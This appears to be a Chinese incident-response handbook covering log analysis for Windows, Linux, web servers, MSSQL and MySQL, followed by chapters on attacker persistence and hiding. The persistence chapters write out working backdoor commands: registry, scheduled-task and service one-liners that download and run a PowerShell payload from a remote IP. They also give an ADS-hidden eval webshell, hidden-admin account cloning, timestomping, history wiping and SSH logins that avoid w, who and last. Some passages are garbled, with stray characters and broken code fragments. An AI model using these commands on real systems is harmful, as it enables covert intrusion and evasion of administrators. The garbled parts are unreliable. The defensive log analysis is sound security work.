  • 依赖包: Microsoft .NET Framework 4.5,下载地址: Microsoft .NET Framework 4.5

Event Log Explorer

Event Log Explorer 是一款强大的 Windows 日志分析工具,用于查看、监视和分析各类事件记录,包括安全、系统和应用程序日志。

  • 特点

    • 提供高效的事件记录过滤功能,快速筛选出有价值的信息。
    • 支持多种日志格式和详细的事件数据解析。
  • 下载地址Event Log Explorer

参考链接

第2篇:Linux日志分析

0x00 前言

Linux系统拥有强大的日志功能,能够记录系统运行中的各种重要事件和操作,为故障排查和安全监控提供了关键信息。

0x01 日志简介

在Linux系统中,日志文件通常存放在 /var/log/ 目录下,不同的日志文件记录了不同类型的系统活动和事件。以下是一些常见的日志文件及其功能:

日志文件说明
/var/log/cron记录了系统定时任务相关的日志
/var/log/cups记录打印信息的日志
/var/log/dmesg记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog记录邮件信息
/var/log/messages记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,用于系统故障排查
/var/log/btmp记录错误登录日志,这是一个二进制文件,使用lastb命令查看
/var/log/lastlog记录系统中所有用户最后一次登录时间的日志,这是一个二进制文件,使用lastlog命令查看
/var/log/wtmp永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。这是一个二进制文件,使用last命令查看
/var/log/utmp记录当前已经登录的用户信息,随着用户的登录和注销不断变化,使用w、who、users等命令来查询
/var/log/secure记录验证和授权方面的信息,包括SSH登录、su切换用户、sudo授权、用户账号和密码管理操作等

比较重要的几个日志文件及其命令:

  • 登录失败记录:

    • /var/log/btmp,查看:lastb
  • 最后一次登录:

    • /var/log/lastlog,查看:lastlog
  • 登录成功记录:

    • /var/log/wtmp,查看:last
  • 登录日志记录:

    • /var/log/secure
  • 当前登录用户信息:

    • /var/run/utmp,查看:wwhousers

历史命令记录清理:

  • 清理当前用户的历史命令记录:
     
    history -c

这些日志文件和命令可以帮助管理员监控系统运行情况、追踪故障原因和审计用户活动,是管理和维护Linux系统的重要工具。

0x02 日志分析技巧
A、常用的shell命令
  1. grep显示前后几行信息

    • grep -C 5 foo file 显示file文件里匹配foo字串那行以及上下5行
    • grep -B 5 foo file 显示foo及前5行
    • grep -A 5 foo file 显示foo及后5行
    • 查看grep版本号的方法是 grep -V
  2. grep查找含有某字符串的所有文件

    • grep -rn "hello,world!" *
      • * 表示当前目录所有文件,也可以是某个文件名
      • -r 是递归查找
      • -n 是显示行号
      • -i 忽略大小写
  3. 显示文件的某几行

    • cat input_file | tail -n +1000 | head -n 2000
      • 从第1000行开始,显示2000行,即显示1000~2999行
  4. find命令示例

    • find /etc -name init
      • 在目录/etc中查找文件init
  5. awk示例

    • 只显示/etc/passwd的账户
       

      Copy Code

      cat /etc/passwd | awk -F ':' '{print $1}'
      • awk -F ':' 指定域分隔符为':',输出第一个域(用户名)
  6. sed示例

    • sed -i '153,$d' .bash_history
      • 删除历史操作记录,保留前153行
B、日志分析技巧
  1. /var/log/secure

    • 定位爆破root账号的IP
       
      grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
    • 定位所有爆破尝试的IP
      grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" | uniq -c

    • 爆破用户名字典
       
      grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}' | uniq -c | sort -nr

  2. 登录成功的IP

    grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

  3. 登录成功的详细信息

    grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

  4. 新增用户kali的日志

    • grep "useradd" /var/log/secure
  5. 删除用户kali的日志

    • grep "userdel" /var/log/secure
  6. su切换用户日志

    • grep "su: " /var/log/secure
  7. sudo授权执行日志

    • sudo -l
    • grep "sudo: " /var/log/secure

2、/var/log/yum.log

  • 软件安装升级卸载日志
    yum install gcc more /var/log/yum.log

    示例日志条目:
     
    Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64
    Jul 10 00:18:24 Updated: libgcc-4.8.5-28.el7_5.1.x86_64
    Jul 10 00:18:24 Updated: libgomp-4.8.5-28.el7_5.1.x86_64
    Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64
    Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686

这些命令和技巧可以帮助进行日志分析和系统管理任务。

第3篇: Web日志分析

0x01 Web日志

Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。

例子:

127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"

通过这条Web访问日志,我们可以得知用户在什么IP、什么时间、用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,以及是否访问成功。

0x02 日志分析技巧

在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程:

  1. 确定入侵的时间范围,查找可疑日志,最终确定攻击者。
  2. 寻找可能的后门文件,展开分析。

常用分析工具:

  • Windows: 推荐使用 EmEditor 进行日志分析。
  • Linux: 使用Shell命令组合查询分析,如grep、awk等。
Apache日志分析技巧
  1. 列出当天访问次数最多的IP:

    cut -d- -f 1 log_file|uniq -c | sort -rn | head -20

  2. 查看当天有多少个IP访问:

    awk '{print $1}' log_file|sort|uniq|wc -l

  3. 查看某一个页面被访问的次数:

    grep "/index.php" log_file | wc -l

  4. 查看每一个IP访问了多少个页面:

    awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file

  5. 将每个IP访问的页面数进行排序:

    awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n

  6. 查看某一个IP访问了哪些页面:

    grep ^111.111.111.111 log_file | awk '{print $1,$7}'

  7. 去掉搜索引擎统计当天的页面:

    awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l

  8. 查看特定时间段内的IP访问数量:

    awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l

0x03 日志分析案例
Web日志分析实例:定位攻击源和还原攻击路径

通过nginx代理转发到内网某服务器,内网服务器某站点目录下被上传了多个图片木马。尽管在IIS7下无法解析这些木马,但仍需找出是谁通过什么路径上传的。

遇到的问题

由于设置了代理转发,仅记录了代理服务器的IP地址,而没有记录访问者的真实IP地址。这给识别不同访问者和攻击源带来了困难。

解决方法:利用浏览器指纹定位攻击源

  1. 定位攻击源

    • 首先检查访问日志中图片木马的访问记录。因为只有代理服务器IP,无法通过IP来还原攻击路径。
    • 利用浏览器指纹技术,可以区分不同的访问来源。浏览器指纹是根据访问者的浏览器版本、操作系统、插件等信息生成的唯一标识,可以用来识别不同的用户或攻击者。
  2. 还原攻击路径

    • 分析包含木马上传行为的日志条目,并提取浏览器指纹信息。
    • 根据不同的浏览器指纹,可以推断出不同的攻击者或攻击来源。
    • 结合访问时间、访问频率等信息,可以尝试还原攻击者的操作路径,包括上传木马的具体步骤和路径。

浏览器指纹:

Mozilla/4.0+

(compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

2、搜索相关日志记录 通过筛选与该浏览器指纹相关的日志记录,可以清晰地看到攻击者的攻击路径。

0x04 日志统计分析技巧

统计示例

  • 统计爬虫:

    grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq

  • 统计浏览器:

    cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100

  • IP统计:

    grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10

  • 统计网段、域名、HTTP状态、URL访问量、文件流量等技巧。

后面的就不搞了,需要的可以看原文

4:MSSQL日志分析

常见的数据库攻击包括弱口令、 SQL 注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一
步还原攻击场景及追溯攻击源。
0x01 MSSQL 日志分析
首先, MSSQL 数据库应启用日志记录功能,默认配置仅限失败的登录,需修改为失败和成功的登录,这样就可以对用户
登录进行审核。
登录到 SQL Server Management Studio ,依次点击 管理 --SQL Server 日志 双击日志存档文件即可打开日志文件查看器,并可以对日志进行筛选或者导出等操作。
另外, MSSQ 提供了一个工具 SQL Server Profiler ,方便查找和发现 SQL 执行的效率和语句问题。 日志分析案例:
在日志文件查看器中,选择筛选,在筛选设置中源设置为 登录 ,应用筛选器,确定。
筛选后的结果,可以很清晰的识别用户登录信息,记录内容包括用户登录时间、登录是否成功、登录使用的账号以及远
程登录时用户使用的 IP 地址。
如下图:客户端: 192.168.204.1 进行尝试弱口令登录,并发现其中有一条登录成功的记录。 0x02 SQL 注入入侵痕迹
在利用 SQL 注入漏洞的过程中,我们会尝试利用 sqlmap --os-shell 参数取得 shell ,如操作不慎,可能留下一些 sqlmap
创建的临时表和自定义函数。我们先来看一下 sqlmap os-shell 参数的用法以及原理:
1 、构造一个 SQL 注入点,开启 Burp 监听 8080 端口
sqlmap.py - u http://192.168.204.164/sql.asp?id=1 -- os - shell -- proxy=http://127.0.0.1:8080
HTTP 通讯过程如下:
创建了一个临时表 sqlmapoutput ,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前
端。
通过查看数据库中最近新建的表的结构和内容,可以判断是否发生过 sql 注入漏洞攻击事件。
检查方法: 1 、数据库表检查
2 、检查 xp_cmdshell 等存储过程
xp_cmdshell mssql2005 之后的版本中是默认禁止的,查看 xp_cmdshell 是否被启用。
`Exec master.dbo.xp_cmdshell 'whoami'
3 、需要结合 web 日志,通过查看日志文件的大小以及审计日志文件中的内容,可以判断是否发生过 sql 注入漏洞攻击事
件。
5 :MySQL 日志分析
常见的数据库攻击包括弱口令、 SQL 注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一
步还原攻击场景及追溯攻击源。
0x01 Mysql 日志分析
general query log 能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后
的调查提供依据。
1 、查看 log 配置信息
show variables like '%general%';
2 、开启日志
SET GLOBAL general_log = 'On';
3 、指定日志文件路径
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
比如,当我访问 /test.php?id=1 ,此时我们得到这样的日志: 190604 14:46:14 14 Connect root@localhost on
14 Init DB test
14 Query SELECT * FROM admin WHERE id = 1
14 Quit `
我们按列来解析一下:
第一列 :Time ,时间列,前面一个是日期 , 后面一个是小时和分钟,有一些不显示的原因是因为这些 sql 语句几乎是同时执行的 ,
以就不另外记录时间了。
第二列 :Id ,就是 show processlist 出来的第一列的线程 ID, 对于长连接和一些比较耗时的 sql 语句 , 你可以精确找出究竟是那
一条那一个线程在运行。
第三列 :Command ,操作类型,比如 Connect 就是连接数据库, Query 就是查询数据库 ( 增删查改都显示为查询 ) ,可以特定过虑一
些操作。
第四列 :Argument ,详细信息,例如 Connect root@localhost on 意思就是连接数据库,如此类推 , 接下面的连上数据
库之后 , 做了什么查询的操作。
0x02 登录成功 / 失败
我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小, 2 个用户, 4 个密码,共 8
组。
MySQL 中的 log 记录是这样子:
Time Id Command Argument
190601 22:03:20 98 Connect
root@192.168.204.1 on
98 Connect
Access denied for user 'root'@'192.168.204.1' (using password:
YES)
103 Connect
mysql@192.168.204.1 on
103 Connect
Access denied for user 'mysql'@'192.168.204.1' (using password:
YES)
104 Connect
mysql@192.168.204.1 on
104 Connect
Access denied for user 'mysql'@'192.168.204.1' (using password:
YES)
100 Connect
root@192.168.204.1 on
101 Connect
root@192.168.204.1 on
101 Connect
Access denied for user 'root'@'192.168.204.1' (using password:
YES)
99 Connect
root@192.168.204.1 on
99 Connect
Access denied for user 'root'@'192.168.204.1' (using password:
YES)
105 Connect
mysql@192.168.204.1 on
105 Connect
Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Query
set autocommit=0
102 Connect
mysql@192.168.204.1 on
102 Connect
Access denied for user 'mysql'@'192.168.204.1' (using password:
YES)
100 Quit
`
你知道在这个口令猜解过程中,哪个是成功的吗?
利用爆破工具,一个口令猜解成功的记录是这样子的:
190601 22:03:20 100 Connect root@192.168.204.1 on
100 Query
set autocommit=0
100 Quit
但是,如果你是用其他方式,可能会有一点点不一样的哦。
Navicat for MySQL 登录:
190601 22:14:07 106 Connect
root@192.168.204.1 on
106 Query
SET NAMES utf8
106 Query
SHOW VARIABLES LIKE 'lower_case_%'
106 Query
SHOW VARIABLES LIKE 'profiling'
106 Query
SHOW DATABASES
命令行登录:
190601 22:17:25 111 Connect
root@localhost on
111 Query
select @@version_comment limit 1
190601 22:17:56 111 Quit
这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判
断出用户是通过连接数据库的方式。
另外,不管你是爆破工具、 Navicat for MySQL 、还是命令行,登录失败都是一样的记录。
登录失败的记录:
102 Connect
mysql@192.168.204.1 on
102 Connect
Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
利用 shell 命令进行简单的分析: ".$w."
";?>`
# 有哪些 IP 在爆破?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1
# 爆破用户名字典都有哪些?
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
13 mysql
12 root
1 root
1 mysql
在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词: drop table drop
function lock tables unlock tables load_file() into outfile into dumpfile
敏感数据库表: SELECT * from mysql.user SELECT * from mysql.func
0x03 SQL 注入入侵痕迹
在利用 SQL 注入漏洞的过程中,我们会尝试利用 sqlmap --os-shell 参数取得 shell ,如操作不慎,可能留下一些 sqlmap
创建的临时表和自定义函数。我们先来看一下 sqlmap os-shell 参数的用法以及原理:
1 、构造一个 SQL 注入点,开启 Burp 监听 8080 端口
sqlmap.py - u http://192.168.204.164/sql.php?id=1 -- os - shell -- proxy=http://127.0.0.1:8080
HTTP 通讯过程如下:
创建了一个临时文件 tmpbwyov.php ,通过访问这个木马执行系统命令,并返回到页面展示。
tmpbwyov.php
&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system'))
{ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open'))
{$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1]))
{$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru'))
{ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen'))
{$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec'))
{$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print " 创建了一个临时表 sqlmapoutput ,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前
端。
通过查看网站目录中最近新建的可疑文件,可以判断是否发生过 sql 注入漏洞攻击事件。
检查方法:
1 、检查网站目录下,是否存在一些木马文件:
2 、检查是否有 UDF 提权、 MOF 提权痕迹
检查目录是否有异常文件
mysql\lib\plugin
c:/windows/system32/wbem/mof/
检查函数是否删除
select * from mysql.func
3 、结合 web 日志分析。
第三章:权限维持篇
1 篇: Windows 权限维持 -- 隐藏篇
0x00 前言
攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使
之不易被管理员发现。
0x01 隐藏文件
1 、利用文件属性 最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。
如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。
如何真正隐藏文件? 使用 Attrib +s +a +h +r 命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\test\project\test .txt
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。
破解隐藏文件:
打开电脑文件夹选项卡,取消 隐藏受保护的操作系统文件 勾选,把 隐藏文件和文件夹 下面的单选选择 显示隐藏的文
件、文件夹和驱动器
2 、利用 ADS 隐藏文件内容
在服务器上 echo 一个数据流文件进去,比如 index.php 是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的 shell hidden.jpg ,常规的文件管理器、 type 命令, dir 命令、 del 命令发现都找不出那个
hidden.jpg 的。
问题 1 :如何查看 index.php:hidden.jpg 内容呢?
进入文件所在目录, notepad index.php:hidden.jpg 或者 dir /r
问题 2 :如何删除 index.php:hidden.jpg
直接删除 index.php 即可
3 、驱动级文件隐藏 驱动隐藏我们可以用过一些软件来实现,软件名字叫: Easy File Locker
下载链接: http://www.xoslab.com/efl.html
如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
那么你,应该是遭遇了驱动级文件隐藏。
如何清除?
1 、查询服务状态: sc qc xlkfs
2 、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3 、删除服务: sc delete xlkfs
4 、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系
统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现 无文件 攻击,这种方式极难被发现。
0x02 隐藏账号
window 隐藏系统用户操作, CMD 命令行下,建立了一个用户名为 “test$” ,密码为 “abc123!” 的简单隐藏账户 , 并且把该
隐藏账户提升为了管理员权限。
PS:CMD 命令行使用 "net user", 看不到 "test$" 这个账号,但在控制面板和本地用户和组是可以显示此用户的。
克隆账号制作过程:
1 开始 运行 ,输入 “regedt32.exe” 后回车 , 需要到 “HKEY_LOCAL_MACHINE\SAM\SAM” ,单机右建权限,把名
叫: administrator 的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。 2 、来到注册表编辑器的 “HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names” 处,点击 test$ 用户,
得到在右边显示的键值中的 类型 一项显示为 0x3ec ,找到箭头所指目录。
3 、找到 administrator 所对应的的项为 “000001F4” ,将 “000001F4” F 值复制到 “000003EC” F 值中,保存。 4 、分别 test
导 茽 瘸 桌 面 , 删 除
用户 net user test$ /del
5 、将刚才导出的两个后缀为 .reg 的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。 PS :不管你是在命令提
示符下输入 net user 或者在系统用户管理界面都是看不到 test$ 这个账户的,只有在注册表中才能看得到。
检测和清理方法:
使用 D _web 查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。 0x03 端口复用
通过端口复用来达到隐藏端口的目的,在 Window 下,如何实现端口复用呢?
前阵子, @Twi1ight 公布了一种基于内置系统服务的端口复用后门方法,利用 WinRM 服务,一条命令实现端口复用后
门:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
一般开启 WinRM 服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,
攻击者已获取到 administrator 账号密码,连接远程 WinRM 服务执行命令:
当执行这条命令的同时,将在安全日志中留下痕迹,
另外,可以通过代码实现端口复用重定向,工具: https://github.com/crabkun/Switcher
0x04 进程注入 进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的
以及我们如何通过工具排查出来?
1 meterpreter 会话注入
当前权限无法获取 hash 值,查看目前系统进程
通过 migrate 将进程注入到 system 进程后,成功获得 hash 值。
Window 后门排查:
通过 TCPview 显示已建立的 TCP 连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成
红色消失,如此循环。 2 Empire 会话进程注入
通过 psinject 模块进行会话注入,直接输入 ps 选择一个 SYSTEM 权限的进程 PID ,使用进程注入模块,来获取权限。如下
图:
Window 后门排查:利用 process monitor 或者火绒剑监控进程都可以定位到注入进程。 3 Cobalt Strike 进程注入
选择进程,点击 inject ,随后选择监听器,点击 choose ,即可发现 Cobaltstrike 弹回了目标机的一个新会话,这个会话
就是成功注入到某进程的 beacon Window 后门排查:利用 process monitor 捕捉通信过程,有规律的请求取决于 sleep 设置的间隔。 0x05 结束
本文主要介绍了 Window 下的几种隐藏技术,包括隐藏文件、隐藏账号、端口复用、进程注入等方面的简单实现及其排
查技巧。仅作抛砖引玉之用,欢迎留言分享。
2 篇: Windows 权限维持 -- 后门篇
关键词: Windows 系统后门、权限维持
在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本
文将对常见的 window 服务端自启动后门技术进行解析,知己知彼方能杜绝后门。
0x01 注册表自启动
通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
常用的注册表启动键:
# Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Winlogon\Userinit
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
类似的还有很多 , 关键词:注册表启动键值。 使用以下命令可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - nop - w hidden - c \"IEX ((new - object
net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
Logon Scripts 后门
注册表路径: HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript ,键值设置为 bat 的绝对路径: c:\test.bat
userinit 后门
在用户进行登陆时, winlogon 运行指定的程序。根据官方文档 , 可以更改它的值来添加与删除程序。
利用 USERINIT 注册表键实现无文件后门:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\
\powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
0x02 组策略设置脚本启动
运行 gpedit.msc 进入本地组策略,通过 Windows 设置的 脚本 ( 启动 / 关机 )” 项来说实现。因为其极具隐蔽性,因此常常被
攻击者利用来做服务器后门。 容易遇到的问题:脚本需全路径,如 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x03 计划任务
通过 window 系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
使用以下命令可以一键实现:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c
\"IEX ((new-object
net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""
容易遇到的问题: cmd 命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
计划脚本每 1 分钟运行一次。
0x04 服务自启动
通过服务设置自启动,结合 powershell 实现无文件后门。
使用以下命令可实现: sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
sc description KeyName "Just For Test" // 设置服务的描述字符串
sc config Name start= auto // 设置这个服务为自动启动
net start Name // 启动服务
成功创建了一个自启动服务
0x05 WMI 后门
2015 年的 blackhat 大会上 Matt Graeber 介绍了一种无文件后门就是用的 WMI 。这里可以利用一个工具 powersploit
下面用它的 Persistence 模块来示范一个简单的例子。
Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -
UserPersistenceOption $UserOptions -Verbose
0x06 dll 劫持
如果在进程尝试加载一个 DLL 时没有指定 DLL 的绝对路径,那么 Windows 会尝试去指定的目录下查找这个 DLL ;如果攻
击者能够控制其中的某一 个目录,并且放一个恶意的 DLL 文件到这个目录下,这个恶意的 DLL 便会被进程所加载,从而
造成代码执行。
比较常用的如 LPK.dll 的劫持:
win7 win7 以上系统增加了 KnownDLLs 保护,需要在注册表: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
下添加 “lpk.dll” 才能顺利劫持:
0x07 COM 劫持
利用 COM 劫持技术,最为关键的是 dll 的实现以及 CLSID 的选择,通过修改 CLSID 下的注册表键值,实现对
CAccPropServicesClass MMDeviceEnumerator 劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可
以绕过 Autoruns 对启动项的检测。
0x08 远程控制
远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游
戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易
受感染的计算机分发远程访问木马,从而建立僵尸网络。
一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、 QuasarRAT 等。 0x09 结束语
未知攻焉知防,本文分享了几种 Window 下的自动启权限维持技术。管理员在平时运维过程应当保持警惕,掌握一定的
入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。
3 篇: Linux 权限维持 -- 隐藏篇
0x00 前言
攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍 Linux 下的几种隐藏技术。
0x01 隐藏文件
Linux 下创建一个隐藏文件: touch .test.txt
touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件 , 如下图:
一般的 Linux 下的隐藏目录使用命令 ls - l 是查看不出来的,只能查看到文件及文件夹,查看 Linux 下的隐藏文件需要用
到命令: ls - al 这里,我们可以看到在 /tmp 下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如 /temp/.ICE
unix/ /temp/.Test - unix/ /temp/.X11 - unix/ /temp/.XIM - unix/
0x02 隐藏文件时间戳
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php ,结果两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 01 02 日。
touch -t 1401021042.30 webshell.php
0x03 隐藏权限
Linux 中,使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录,此权限用 ls -l 是查看不出来的,
从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件
0x04 隐藏历史操作命令
shell 中执行的命令,不希望被记录在命令行历史中,如何在 linux 中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录
[space]set +o history
备注: [space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的
所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令: [Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
技巧二:从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
这种技巧是关键记录删除,或者我们可以暴力点,比如前 150 行是用户的正常操作记录, 150 以后是攻击者操作记录。
我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前 150 行:
sed -i '150,$d' .bash_history
0x05 隐藏远程 SSH 登陆记录
隐身登录系统,不会被 w who last 等指令检测到。
ssh -T root@127.0.0.1 /bin/bash -i
不记录 ssh 公钥在本地 .ssh 目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
0x06 端口复用
通过端口复用来达到隐藏端口的目的,在 Linux 下,如何实现端口复用呢?
第一种方式:通过 SSLH 在同一端口上共享 SSH HTTPS # 安装 SSLH
sudo apt-get install sslh
# 配置 SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
1 、找到下列行: Run=no 将其修改为: Run=yes
2 、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile
/var/run/sslh/sslh.pid"
第二种方式:利用 IPTables 进行端口复用
# 端口复用链
iptables -t nat -N LETMEIN
